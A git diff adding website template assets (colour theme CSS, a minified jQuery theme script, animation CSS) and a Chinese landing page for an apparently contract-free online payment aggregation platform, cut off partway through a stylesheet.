+.header.navbar.navbar-inverse .navbar-nav > li > a:focus, +.header.navbar.navbar-transparent.navbar-small .navbar-nav > li.active > a, +.header.navbar.navbar-transparent.navbar-small .navbar-nav > li > a:hover, +.header.navbar.navbar-transparent.navbar-small .navbar-nav > li > a:focus, +.text-theme, +.navbar-nav .dropdown-menu > li.active > a, +.navbar-nav .dropdown-menu > li > a:hover, +.navbar-nav .dropdown-menu > li > a:focus, +.pricing-table .price .price-number, +a { + color: #00acac; +} +a:hover, +a:focus { + color: #008a8a; +} +.pricing-table .highlight h3, +.pace-progress { + background: #008a8a; +} +.pricing-table .highlight .price { + background: #00acac; +} +.pace .pace-activity { + border-top-color: #00acac; + border-left-color: #00acac; +} +.brand-logo, +.footer .footer-brand-logo { + border-color: #4DCACA #31A3A3 #1D8888; +} \ No newline at end of file diff --git a/template/index6/assets/css/theme/orange.css b/template/index6/assets/css/theme/orange.css new file mode 100644 index 0000000..8f09614 --- /dev/null +++ b/template/index6/assets/css/theme/orange.css @@ -0,0 +1,59 @@ +/* +Template Name: Color Admin - Responsive Admin Dashboard Template build with Twitter Bootstrap 3 & 4 +Version: 4.0.0 +Author: Sean Ngu +Website: https://www.seantheme.com/color-admin-v4.0/frontend/one-page-parallax/ +*/ + +.btn.btn-theme { + background: #f59c1a; + border-color: #f59c1a; + color: #fff; +} +.btn.btn-theme:hover, +.btn.btn-theme:focus { + background: #c47d15; + border-color: #c47d15; +} +.header.navbar .navbar-nav > li.active > a, +.header.navbar .navbar-nav > li > a:hover, +.header.navbar .navbar-nav > li > a:focus, +.header.navbar.navbar-default .navbar-nav > li.active > a, +.header.navbar.navbar-default .navbar-nav > li > a:hover, +.header.navbar.navbar-default .navbar-nav > li > a:focus, +.header.navbar.navbar-transparent .navbar-nav > li.active > a, +.header.navbar.navbar-transparent .navbar-nav > li > a:hover, +.header.navbar.navbar-transparent .navbar-nav > li > a:focus, +.header.navbar.navbar-inverse .navbar-nav > li.active > a, +.header.navbar.navbar-inverse .navbar-nav > li > a:hover, +.header.navbar.navbar-inverse .navbar-nav > li > a:focus, +.header.navbar.navbar-transparent.navbar-small .navbar-nav > li.active > a, +.header.navbar.navbar-transparent.navbar-small .navbar-nav > li > a:hover, +.header.navbar.navbar-transparent.navbar-small .navbar-nav > li > a:focus, +.text-theme, +.navbar-nav .dropdown-menu > li.active > a, +.navbar-nav .dropdown-menu > li > a:hover, +.navbar-nav .dropdown-menu > li > a:focus, +.pricing-table .price .price-number, +a { + color: #f59c1a; +} +a:hover, +a:focus { + color: #c47d15; +} +.pricing-table .highlight h3, +.pace-progress { + background: #c47d15; +} +.pricing-table .highlight .price { + background: #f59c1a; +} +.pace .pace-activity { + border-top-color: #f59c1a; + border-left-color: #f59c1a; +} +.brand-logo, +.footer .footer-brand-logo { + border-color: #DF8F19 #c47d15 #935e10; +} \ No newline at end of file diff --git a/template/index6/assets/css/theme/purple.css b/template/index6/assets/css/theme/purple.css new file mode 100644 index 0000000..fb99e35 --- /dev/null +++ b/template/index6/assets/css/theme/purple.css @@ -0,0 +1,59 @@ +/* +Template Name: Color Admin - Responsive Admin Dashboard Template build with Twitter Bootstrap 3 & 4 +Version: 4.0.0 +Author: Sean Ngu +Website: https://www.seantheme.com/color-admin-v4.0/frontend/one-page-parallax/ +*/ + +.btn.btn-theme { + background: #727cb6; + border-color: #727cb6; + color: #fff; +} +.btn.btn-theme:hover, +.btn.btn-theme:focus { + background: #5b6392; + border-color: #5b6392; +} +.header.navbar .navbar-nav > li.active > a, +.header.navbar .navbar-nav > li > a:hover, +.header.navbar .navbar-nav > li > a:focus, +.header.navbar.navbar-default .navbar-nav > li.active > a, +.header.navbar.navbar-default .navbar-nav > li > a:hover, +.header.navbar.navbar-default .navbar-nav > li > a:focus, +.header.navbar.navbar-transparent .navbar-nav > li.active > a, +.header.navbar.navbar-transparent .navbar-nav > li > a:hover, +.header.navbar.navbar-transparent .navbar-nav > li > a:focus, +.header.navbar.navbar-inverse .navbar-nav > li.active > a, +.header.navbar.navbar-inverse .navbar-nav > li > a:hover, +.header.navbar.navbar-inverse .navbar-nav > li > a:focus, +.header.navbar.navbar-transparent.navbar-small .navbar-nav > li.active > a, +.header.navbar.navbar-transparent.navbar-small .navbar-nav > li > a:hover, +.header.navbar.navbar-transparent.navbar-small .navbar-nav > li > a:focus, +.text-theme, +.navbar-nav .dropdown-menu > li.active > a, +.navbar-nav .dropdown-menu > li > a:hover, +.navbar-nav .dropdown-menu > li > a:focus, +.pricing-table .price .price-number, +a { + color: #727cb6; +} +a:hover, +a:focus { + color: #5b6392; +} +.pricing-table .highlight h3, +.pace-progress { + background: #5b6392; +} +.pricing-table .highlight .price { + background: #727cb6; +} +.pace .pace-activity { + border-top-color: #727cb6; + border-left-color: #727cb6; +} +.brand-logo, +.footer .footer-brand-logo { + border-color: #6670AC #5b6392 #444a6d; +} \ No newline at end of file diff --git a/template/index6/assets/css/theme/red.css b/template/index6/assets/css/theme/red.css new file mode 100644 index 0000000..19ac401 --- /dev/null +++ b/template/index6/assets/css/theme/red.css @@ -0,0 +1,59 @@ +/* +Template Name: Color Admin - Responsive Admin Dashboard Template build with Twitter Bootstrap 3 & 4 +Version: 4.0.0 +Author: Sean Ngu +Website: https://www.seantheme.com/color-admin-v4.0/frontend/one-page-parallax/ +*/ + +.btn.btn-theme { + background: #ff5b57; + border-color: #ff5b57; + color: #fff; +} +.btn.btn-theme:hover, +.btn.btn-theme:focus { + background: #cc4946; + border-color: #cc4946; +} +.header.navbar .navbar-nav > li.active > a, +.header.navbar .navbar-nav > li > a:hover, +.header.navbar .navbar-nav > li > a:focus, +.header.navbar.navbar-default .navbar-nav > li.active > a, +.header.navbar.navbar-default .navbar-nav > li > a:hover, +.header.navbar.navbar-default .navbar-nav > li > a:focus, +.header.navbar.navbar-transparent .navbar-nav > li.active > a, +.header.navbar.navbar-transparent .navbar-nav > li > a:hover, +.header.navbar.navbar-transparent .navbar-nav > li > a:focus, +.header.navbar.navbar-inverse .navbar-nav > li.active > a, +.header.navbar.navbar-inverse .navbar-nav > li > a:hover, +.header.navbar.navbar-inverse .navbar-nav > li > a:focus, +.header.navbar.navbar-transparent.navbar-small .navbar-nav > li.active > a, +.header.navbar.navbar-transparent.navbar-small .navbar-nav > li > a:hover, +.header.navbar.navbar-transparent.navbar-small .navbar-nav > li > a:focus, +.text-theme, +.navbar-nav .dropdown-menu > li.active > a, +.navbar-nav .dropdown-menu > li > a:hover, +.navbar-nav .dropdown-menu > li > a:focus, +.pricing-table .price .price-number, +a { + color: #ff5b57; +} +a:hover, +a:focus { + color: #cc4946; +} +.pricing-table .highlight h3, +.pace-progress { + background: #cc4946; +} +.pricing-table .highlight .price { + background: #ff5b57; +} +.pace .pace-activity { + border-top-color: #ff5b57; + border-left-color: #ff5b57; +} +.brand-logo, +.footer .footer-brand-logo { + border-color: #F8504B #cc4946 #993734; +} \ No newline at end of file diff --git a/template/index6/assets/img/home-bg.jpg b/template/index6/assets/img/home-bg.jpg new file mode 100644 index 0000000..c334658 Binary files /dev/null and b/template/index6/assets/img/home-bg.jpg differ diff --git a/template/index6/assets/img/milestone-bg.jpg b/template/index6/assets/img/milestone-bg.jpg new file mode 100644 index 0000000..12c9990 Binary files /dev/null and b/template/index6/assets/img/milestone-bg.jpg differ diff --git a/template/index6/assets/js/apps.min.js b/template/index6/assets/js/apps.min.js new file mode 100644 index 0000000..38bd71c --- /dev/null +++ b/template/index6/assets/js/apps.min.js @@ -0,0 +1,6 @@ +/* +Template Name: Color Admin - Responsive Admin Dashboard Template build with Twitter Bootstrap 3.3.7 +Version: 2.1.0 +Author: Sean Ngu +Website: http://www.seantheme.com/color-admin-v2.1/frontend/one-page-parallax/ +*/var handleHomeContentHeight=function(){$("#home").height($(window).height())},handleHeaderNavigationState=function(){$(window).on("scroll load",function(){if("disabled"!=$("#header").attr("data-state-change")){var e=$(window).scrollTop(),t=$("#header").height();e>=t?$("#header").addClass("navbar-small"):$("#header").removeClass("navbar-small")}})},handleAddCommasToNumber=function(e){return e.toString().replace(/(\d)(?=(\d\d\d)+(?!\d))/g,"$1,")},handlePageContainerShow=function(){$("#page-container").addClass("in")},handlePaceLoadingPlugins=function(){Pace.on("hide",function(){$(".pace").addClass("hide")})},handlePageScrollContentAnimation=function(){$('[data-scrollview="true"]').each(function(){var e=$(this),t=scrollMonitor.create(e,60);t.enterViewport(function(){$(e).find("[data-animation=true]").each(function(){var e=$(this).attr("data-animation-type"),t=$(this);if(!$(t).hasClass("contentAnimated"))if("number"==e){var a=parseInt($(t).attr("data-final-number"));$({animateNumber:0}).animate({animateNumber:a},{duration:1e3,easing:"swing",step:function(){var e=handleAddCommasToNumber(Math.ceil(this.animateNumber));$(t).text(e).addClass("contentAnimated")}})}else $(this).addClass(e+" contentAnimated"),setTimeout(function(){$(t).addClass("finishAnimated")},1500)})})})},handleHeaderScrollToAction=function(){$("[data-click=scroll-to-target]").on("click",function(e){e.preventDefault(),e.stopPropagation();var t=$(this).attr("href"),a=50;if($("html, body").animate({scrollTop:$(t).offset().top-a},500),"dropdown"==$(this).attr("data-toggle")){var n=$(this).closest("li.dropdown");$(n).hasClass("open")?$(n).removeClass("open"):$(n).addClass("open")}}),$(document).click(function(e){e.isPropagationStopped()||$(".dropdown.open").removeClass("open")})},handleTooltipActivation=function(){0!==$("[data-toggle=tooltip]").length&&$("[data-toggle=tooltip]").tooltip()},handleThemePanelExpand=function(){$('[data-click="theme-panel-expand"]').live("click",function(){var e=".theme-panel",t="active";$(e).hasClass(t)?$(e).removeClass(t):$(e).addClass(t)})},handleThemePageControl=function(){if($.cookie&&$.cookie("theme")){0!==$(".theme-list").length&&($(".theme-list [data-theme]").closest("li").removeClass("active"),$('.theme-list [data-theme="'+$.cookie("theme")+'"]').closest("li").addClass("active"));var e=staticroot+"css/theme/"+$.cookie("theme")+".css";$("#theme").attr("href",e)}$(".theme-list [data-theme]").live("click",function(){var e=staticroot+"css/theme/"+$(this).attr("data-theme")+".css";$("#theme").attr("href",e),$(".theme-list [data-theme]").not(this).closest("li").removeClass("active"),$(this).closest("li").addClass("active"),$.cookie("theme",$(this).attr("data-theme"))})},App=function(){"use strict";return{init:function(){handleHomeContentHeight(),handleHeaderNavigationState(),handlePageContainerShow(),handlePaceLoadingPlugins(),handlePageScrollContentAnimation(),handleHeaderScrollToAction(),handleTooltipActivation(),handleThemePanelExpand(),handleThemePageControl()}}}(); \ No newline at end of file diff --git a/template/index6/index.php b/template/index6/index.php new file mode 100644 index 0000000..f25ba1a --- /dev/null +++ b/template/index6/index.php @@ -0,0 +1,309 @@ + + + + + + + + + + + <?php echo $conf['title']?> + + + + + + + + + + + + + + + + + +
                                    + + + + + +
                                    + +
                                    + Home +
                                    + + +
                                    +

                                    欢迎来到

                                    +

                                    免签约支付平台 结算费率低至%!

                                    +

                                    + 支持多种支付方式:支付宝、QQ钱包、微信、财付通支付,可根据开发文档快速接入自己网站!
                                    + 稳定、安全、值得信赖 +

                                    + 申请接入 商户登录
                                    +
                                    + +
                                    + + + +
                                    + +
                                    +

                                    为什么选择我们?

                                    +

                                    + 免去个人站长无法签约支付接口以及企业申请签约支付接口麻烦的问题,免签约也能享受及时到账的乐趣,系统优势如下: +

                                    + +
                                    + +
                                    +
                                    +
                                    +
                                    +

                                    方便接入

                                    +

                                    根据我们提供的开发文档,可快速接入你的网站,让你的网站支持在线支付功能,享受免签约支付的乐趣。

                                    +
                                    +
                                    +
                                    + + +
                                    +
                                    +
                                    +
                                    +

                                    低手续费

                                    +

                                    结算费率低至%,每日满元自动结算,上不封顶,提现手续费最低元,最高元。

                                    +
                                    +
                                    +
                                    + + +
                                    +
                                    +
                                    +
                                    +

                                    智能提醒

                                    +

                                    提供商户APP、QQ机器人、邮箱等多种提醒方式可选,让您随时获知自己的收入动态。

                                    +
                                    +
                                    +
                                    + +
                                    + + +
                                    + +
                                    +
                                    +
                                    +
                                    +

                                    安全放心

                                    +

                                    我们用的支付接口全为自己申请,不存在二次对接的情况,彻底避免对接方跑路导致无法结算的情况!

                                    +
                                    +
                                    +
                                    + + +
                                    +
                                    +
                                    +
                                    +

                                    自动结算

                                    +

                                    采取T+1结算方式,交易金额满元,系统会于次日零点开始自动结算,不满10元亦可申请手动结算。

                                    +
                                    +
                                    +
                                    + + +
                                    +
                                    +
                                    +
                                    +

                                    插件拓展

                                    +

                                    提供SDK测试包,方便快速开发和接入,后续会逐渐提供discuz、WordPress等平台的支付相关插件。

                                    +
                                    +
                                    +
                                    + +
                                    + +
                                    + +
                                    + + + +
                                    + +
                                    + Milestone +
                                    + + +
                                    + +
                                    + +
                                    +
                                    +
                                    1,292
                                    +
                                    接入商户
                                    +
                                    +
                                    + + +
                                    +
                                    +
                                    9,039
                                    +
                                    接入网站
                                    +
                                    +
                                    + + +
                                    +
                                    +
                                    129
                                    +
                                    合作伙伴
                                    +
                                    +
                                    + +
                                    + +
                                    + +
                                    + + + +
                                    + +
                                    +

                                    我们的团队

                                    +

                                    + +

                                    + +
                                    + +
                                    + +
                                    +
                                    + Mia Donovan +
                                    +
                                    +

                                    客服

                                    +
                                    客服
                                    +

                                    业务售后综合客服

                                    + +
                                    +
                                    + +
                                    + +
                                    + +
                                    + +
                                    + + + + + + + +
                                    + +
                                    + +
                                    +
                                    + +
                                    + + + + + + + + + + + + + + + + diff --git a/template/index6/preview.png b/template/index6/preview.png new file mode 100644 index 0000000..985e704 Binary files /dev/null and b/template/index6/preview.png differ diff --git a/template/index7/assets/css/aos.css b/template/index7/assets/css/aos.css new file mode 100644 index 0000000..c157765 --- /dev/null +++ b/template/index7/assets/css/aos.css @@ -0,0 +1,2 @@ +[data-aos][data-aos][data-aos-duration='50'],body[data-aos-duration='50'] [data-aos]{transition-duration:50ms}[data-aos][data-aos][data-aos-delay='50'],body[data-aos-delay='50'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='50'].aos-animate,body[data-aos-delay='50'] [data-aos].aos-animate{transition-delay:50ms}[data-aos][data-aos][data-aos-duration='100'],body[data-aos-duration='100'] [data-aos]{transition-duration:.1s}[data-aos][data-aos][data-aos-delay='100'],body[data-aos-delay='100'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='100'].aos-animate,body[data-aos-delay='100'] [data-aos].aos-animate{transition-delay:.1s}[data-aos][data-aos][data-aos-duration='150'],body[data-aos-duration='150'] [data-aos]{transition-duration:.15s}[data-aos][data-aos][data-aos-delay='150'],body[data-aos-delay='150'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='150'].aos-animate,body[data-aos-delay='150'] [data-aos].aos-animate{transition-delay:.15s}[data-aos][data-aos][data-aos-duration='200'],body[data-aos-duration='200'] [data-aos]{transition-duration:.2s}[data-aos][data-aos][data-aos-delay='200'],body[data-aos-delay='200'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='200'].aos-animate,body[data-aos-delay='200'] [data-aos].aos-animate{transition-delay:.2s}[data-aos][data-aos][data-aos-duration='250'],body[data-aos-duration='250'] [data-aos]{transition-duration:.25s}[data-aos][data-aos][data-aos-delay='250'],body[data-aos-delay='250'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='250'].aos-animate,body[data-aos-delay='250'] [data-aos].aos-animate{transition-delay:.25s}[data-aos][data-aos][data-aos-duration='300'],body[data-aos-duration='300'] [data-aos]{transition-duration:.3s}[data-aos][data-aos][data-aos-delay='300'],body[data-aos-delay='300'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='300'].aos-animate,body[data-aos-delay='300'] [data-aos].aos-animate{transition-delay:.3s}[data-aos][data-aos][data-aos-duration='350'],body[data-aos-duration='350'] [data-aos]{transition-duration:.35s}[data-aos][data-aos][data-aos-delay='350'],body[data-aos-delay='350'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='350'].aos-animate,body[data-aos-delay='350'] [data-aos].aos-animate{transition-delay:.35s}[data-aos][data-aos][data-aos-duration='400'],body[data-aos-duration='400'] [data-aos]{transition-duration:.4s}[data-aos][data-aos][data-aos-delay='400'],body[data-aos-delay='400'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='400'].aos-animate,body[data-aos-delay='400'] [data-aos].aos-animate{transition-delay:.4s}[data-aos][data-aos][data-aos-duration='450'],body[data-aos-duration='450'] [data-aos]{transition-duration:.45s}[data-aos][data-aos][data-aos-delay='450'],body[data-aos-delay='450'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='450'].aos-animate,body[data-aos-delay='450'] [data-aos].aos-animate{transition-delay:.45s}[data-aos][data-aos][data-aos-duration='500'],body[data-aos-duration='500'] [data-aos]{transition-duration:.5s}[data-aos][data-aos][data-aos-delay='500'],body[data-aos-delay='500'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='500'].aos-animate,body[data-aos-delay='500'] [data-aos].aos-animate{transition-delay:.5s}[data-aos][data-aos][data-aos-duration='550'],body[data-aos-duration='550'] [data-aos]{transition-duration:.55s}[data-aos][data-aos][data-aos-delay='550'],body[data-aos-delay='550'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='550'].aos-animate,body[data-aos-delay='550'] [data-aos].aos-animate{transition-delay:.55s}[data-aos][data-aos][data-aos-duration='600'],body[data-aos-duration='600'] [data-aos]{transition-duration:.6s}[data-aos][data-aos][data-aos-delay='600'],body[data-aos-delay='600'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='600'].aos-animate,body[data-aos-delay='600'] [data-aos].aos-animate{transition-delay:.6s}[data-aos][data-aos][data-aos-duration='650'],body[data-aos-duration='650'] [data-aos]{transition-duration:.65s}[data-aos][data-aos][data-aos-delay='650'],body[data-aos-delay='650'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='650'].aos-animate,body[data-aos-delay='650'] [data-aos].aos-animate{transition-delay:.65s}[data-aos][data-aos][data-aos-duration='700'],body[data-aos-duration='700'] [data-aos]{transition-duration:.7s}[data-aos][data-aos][data-aos-delay='700'],body[data-aos-delay='700'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='700'].aos-animate,body[data-aos-delay='700'] [data-aos].aos-animate{transition-delay:.7s}[data-aos][data-aos][data-aos-duration='750'],body[data-aos-duration='750'] [data-aos]{transition-duration:.75s}[data-aos][data-aos][data-aos-delay='750'],body[data-aos-delay='750'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='750'].aos-animate,body[data-aos-delay='750'] [data-aos].aos-animate{transition-delay:.75s}[data-aos][data-aos][data-aos-duration='800'],body[data-aos-duration='800'] [data-aos]{transition-duration:.8s}[data-aos][data-aos][data-aos-delay='800'],body[data-aos-delay='800'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='800'].aos-animate,body[data-aos-delay='800'] [data-aos].aos-animate{transition-delay:.8s}[data-aos][data-aos][data-aos-duration='850'],body[data-aos-duration='850'] [data-aos]{transition-duration:.85s}[data-aos][data-aos][data-aos-delay='850'],body[data-aos-delay='850'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='850'].aos-animate,body[data-aos-delay='850'] [data-aos].aos-animate{transition-delay:.85s}[data-aos][data-aos][data-aos-duration='900'],body[data-aos-duration='900'] [data-aos]{transition-duration:.9s}[data-aos][data-aos][data-aos-delay='900'],body[data-aos-delay='900'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='900'].aos-animate,body[data-aos-delay='900'] [data-aos].aos-animate{transition-delay:.9s}[data-aos][data-aos][data-aos-duration='950'],body[data-aos-duration='950'] [data-aos]{transition-duration:.95s}[data-aos][data-aos][data-aos-delay='950'],body[data-aos-delay='950'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='950'].aos-animate,body[data-aos-delay='950'] [data-aos].aos-animate{transition-delay:.95s}[data-aos][data-aos][data-aos-duration='1000'],body[data-aos-duration='1000'] [data-aos]{transition-duration:1s}[data-aos][data-aos][data-aos-delay='1000'],body[data-aos-delay='1000'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1000'].aos-animate,body[data-aos-delay='1000'] [data-aos].aos-animate{transition-delay:1s}[data-aos][data-aos][data-aos-duration='1050'],body[data-aos-duration='1050'] [data-aos]{transition-duration:1.05s}[data-aos][data-aos][data-aos-delay='1050'],body[data-aos-delay='1050'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1050'].aos-animate,body[data-aos-delay='1050'] [data-aos].aos-animate{transition-delay:1.05s}[data-aos][data-aos][data-aos-duration='1100'],body[data-aos-duration='1100'] [data-aos]{transition-duration:1.1s}[data-aos][data-aos][data-aos-delay='1100'],body[data-aos-delay='1100'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1100'].aos-animate,body[data-aos-delay='1100'] [data-aos].aos-animate{transition-delay:1.1s}[data-aos][data-aos][data-aos-duration='1150'],body[data-aos-duration='1150'] [data-aos]{transition-duration:1.15s}[data-aos][data-aos][data-aos-delay='1150'],body[data-aos-delay='1150'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1150'].aos-animate,body[data-aos-delay='1150'] [data-aos].aos-animate{transition-delay:1.15s}[data-aos][data-aos][data-aos-duration='1200'],body[data-aos-duration='1200'] [data-aos]{transition-duration:1.2s}[data-aos][data-aos][data-aos-delay='1200'],body[data-aos-delay='1200'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1200'].aos-animate,body[data-aos-delay='1200'] [data-aos].aos-animate{transition-delay:1.2s}[data-aos][data-aos][data-aos-duration='1250'],body[data-aos-duration='1250'] [data-aos]{transition-duration:1.25s}[data-aos][data-aos][data-aos-delay='1250'],body[data-aos-delay='1250'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1250'].aos-animate,body[data-aos-delay='1250'] [data-aos].aos-animate{transition-delay:1.25s}[data-aos][data-aos][data-aos-duration='1300'],body[data-aos-duration='1300'] [data-aos]{transition-duration:1.3s}[data-aos][data-aos][data-aos-delay='1300'],body[data-aos-delay='1300'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1300'].aos-animate,body[data-aos-delay='1300'] [data-aos].aos-animate{transition-delay:1.3s}[data-aos][data-aos][data-aos-duration='1350'],body[data-aos-duration='1350'] [data-aos]{transition-duration:1.35s}[data-aos][data-aos][data-aos-delay='1350'],body[data-aos-delay='1350'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1350'].aos-animate,body[data-aos-delay='1350'] [data-aos].aos-animate{transition-delay:1.35s}[data-aos][data-aos][data-aos-duration='1400'],body[data-aos-duration='1400'] [data-aos]{transition-duration:1.4s}[data-aos][data-aos][data-aos-delay='1400'],body[data-aos-delay='1400'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1400'].aos-animate,body[data-aos-delay='1400'] [data-aos].aos-animate{transition-delay:1.4s}[data-aos][data-aos][data-aos-duration='1450'],body[data-aos-duration='1450'] [data-aos]{transition-duration:1.45s}[data-aos][data-aos][data-aos-delay='1450'],body[data-aos-delay='1450'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1450'].aos-animate,body[data-aos-delay='1450'] [data-aos].aos-animate{transition-delay:1.45s}[data-aos][data-aos][data-aos-duration='1500'],body[data-aos-duration='1500'] [data-aos]{transition-duration:1.5s}[data-aos][data-aos][data-aos-delay='1500'],body[data-aos-delay='1500'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1500'].aos-animate,body[data-aos-delay='1500'] [data-aos].aos-animate{transition-delay:1.5s}[data-aos][data-aos][data-aos-duration='1550'],body[data-aos-duration='1550'] [data-aos]{transition-duration:1.55s}[data-aos][data-aos][data-aos-delay='1550'],body[data-aos-delay='1550'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1550'].aos-animate,body[data-aos-delay='1550'] [data-aos].aos-animate{transition-delay:1.55s}[data-aos][data-aos][data-aos-duration='1600'],body[data-aos-duration='1600'] [data-aos]{transition-duration:1.6s}[data-aos][data-aos][data-aos-delay='1600'],body[data-aos-delay='1600'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1600'].aos-animate,body[data-aos-delay='1600'] [data-aos].aos-animate{transition-delay:1.6s}[data-aos][data-aos][data-aos-duration='1650'],body[data-aos-duration='1650'] [data-aos]{transition-duration:1.65s}[data-aos][data-aos][data-aos-delay='1650'],body[data-aos-delay='1650'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1650'].aos-animate,body[data-aos-delay='1650'] [data-aos].aos-animate{transition-delay:1.65s}[data-aos][data-aos][data-aos-duration='1700'],body[data-aos-duration='1700'] [data-aos]{transition-duration:1.7s}[data-aos][data-aos][data-aos-delay='1700'],body[data-aos-delay='1700'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1700'].aos-animate,body[data-aos-delay='1700'] [data-aos].aos-animate{transition-delay:1.7s}[data-aos][data-aos][data-aos-duration='1750'],body[data-aos-duration='1750'] [data-aos]{transition-duration:1.75s}[data-aos][data-aos][data-aos-delay='1750'],body[data-aos-delay='1750'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1750'].aos-animate,body[data-aos-delay='1750'] [data-aos].aos-animate{transition-delay:1.75s}[data-aos][data-aos][data-aos-duration='1800'],body[data-aos-duration='1800'] [data-aos]{transition-duration:1.8s}[data-aos][data-aos][data-aos-delay='1800'],body[data-aos-delay='1800'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1800'].aos-animate,body[data-aos-delay='1800'] [data-aos].aos-animate{transition-delay:1.8s}[data-aos][data-aos][data-aos-duration='1850'],body[data-aos-duration='1850'] [data-aos]{transition-duration:1.85s}[data-aos][data-aos][data-aos-delay='1850'],body[data-aos-delay='1850'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1850'].aos-animate,body[data-aos-delay='1850'] [data-aos].aos-animate{transition-delay:1.85s}[data-aos][data-aos][data-aos-duration='1900'],body[data-aos-duration='1900'] [data-aos]{transition-duration:1.9s}[data-aos][data-aos][data-aos-delay='1900'],body[data-aos-delay='1900'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1900'].aos-animate,body[data-aos-delay='1900'] [data-aos].aos-animate{transition-delay:1.9s}[data-aos][data-aos][data-aos-duration='1950'],body[data-aos-duration='1950'] [data-aos]{transition-duration:1.95s}[data-aos][data-aos][data-aos-delay='1950'],body[data-aos-delay='1950'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='1950'].aos-animate,body[data-aos-delay='1950'] [data-aos].aos-animate{transition-delay:1.95s}[data-aos][data-aos][data-aos-duration='2000'],body[data-aos-duration='2000'] [data-aos]{transition-duration:2s}[data-aos][data-aos][data-aos-delay='2000'],body[data-aos-delay='2000'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2000'].aos-animate,body[data-aos-delay='2000'] [data-aos].aos-animate{transition-delay:2s}[data-aos][data-aos][data-aos-duration='2050'],body[data-aos-duration='2050'] [data-aos]{transition-duration:2.05s}[data-aos][data-aos][data-aos-delay='2050'],body[data-aos-delay='2050'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2050'].aos-animate,body[data-aos-delay='2050'] [data-aos].aos-animate{transition-delay:2.05s}[data-aos][data-aos][data-aos-duration='2100'],body[data-aos-duration='2100'] [data-aos]{transition-duration:2.1s}[data-aos][data-aos][data-aos-delay='2100'],body[data-aos-delay='2100'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2100'].aos-animate,body[data-aos-delay='2100'] [data-aos].aos-animate{transition-delay:2.1s}[data-aos][data-aos][data-aos-duration='2150'],body[data-aos-duration='2150'] [data-aos]{transition-duration:2.15s}[data-aos][data-aos][data-aos-delay='2150'],body[data-aos-delay='2150'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2150'].aos-animate,body[data-aos-delay='2150'] [data-aos].aos-animate{transition-delay:2.15s}[data-aos][data-aos][data-aos-duration='2200'],body[data-aos-duration='2200'] [data-aos]{transition-duration:2.2s}[data-aos][data-aos][data-aos-delay='2200'],body[data-aos-delay='2200'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2200'].aos-animate,body[data-aos-delay='2200'] [data-aos].aos-animate{transition-delay:2.2s}[data-aos][data-aos][data-aos-duration='2250'],body[data-aos-duration='2250'] [data-aos]{transition-duration:2.25s}[data-aos][data-aos][data-aos-delay='2250'],body[data-aos-delay='2250'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2250'].aos-animate,body[data-aos-delay='2250'] [data-aos].aos-animate{transition-delay:2.25s}[data-aos][data-aos][data-aos-duration='2300'],body[data-aos-duration='2300'] [data-aos]{transition-duration:2.3s}[data-aos][data-aos][data-aos-delay='2300'],body[data-aos-delay='2300'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2300'].aos-animate,body[data-aos-delay='2300'] [data-aos].aos-animate{transition-delay:2.3s}[data-aos][data-aos][data-aos-duration='2350'],body[data-aos-duration='2350'] [data-aos]{transition-duration:2.35s}[data-aos][data-aos][data-aos-delay='2350'],body[data-aos-delay='2350'] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay='2350'].aos-animate,body[data-aos-delay='2350'] [data-aos].aos-animate{transition-delay:2.35s}[data-aos][data-aos][data-aos-duration='2400'],body[data-aos-duration='2400'] [data-aos]{transition-duration:2.4s}[data-aos][data-aos][data-aos-delay='2400'],body[data-aos-delay='2400'] 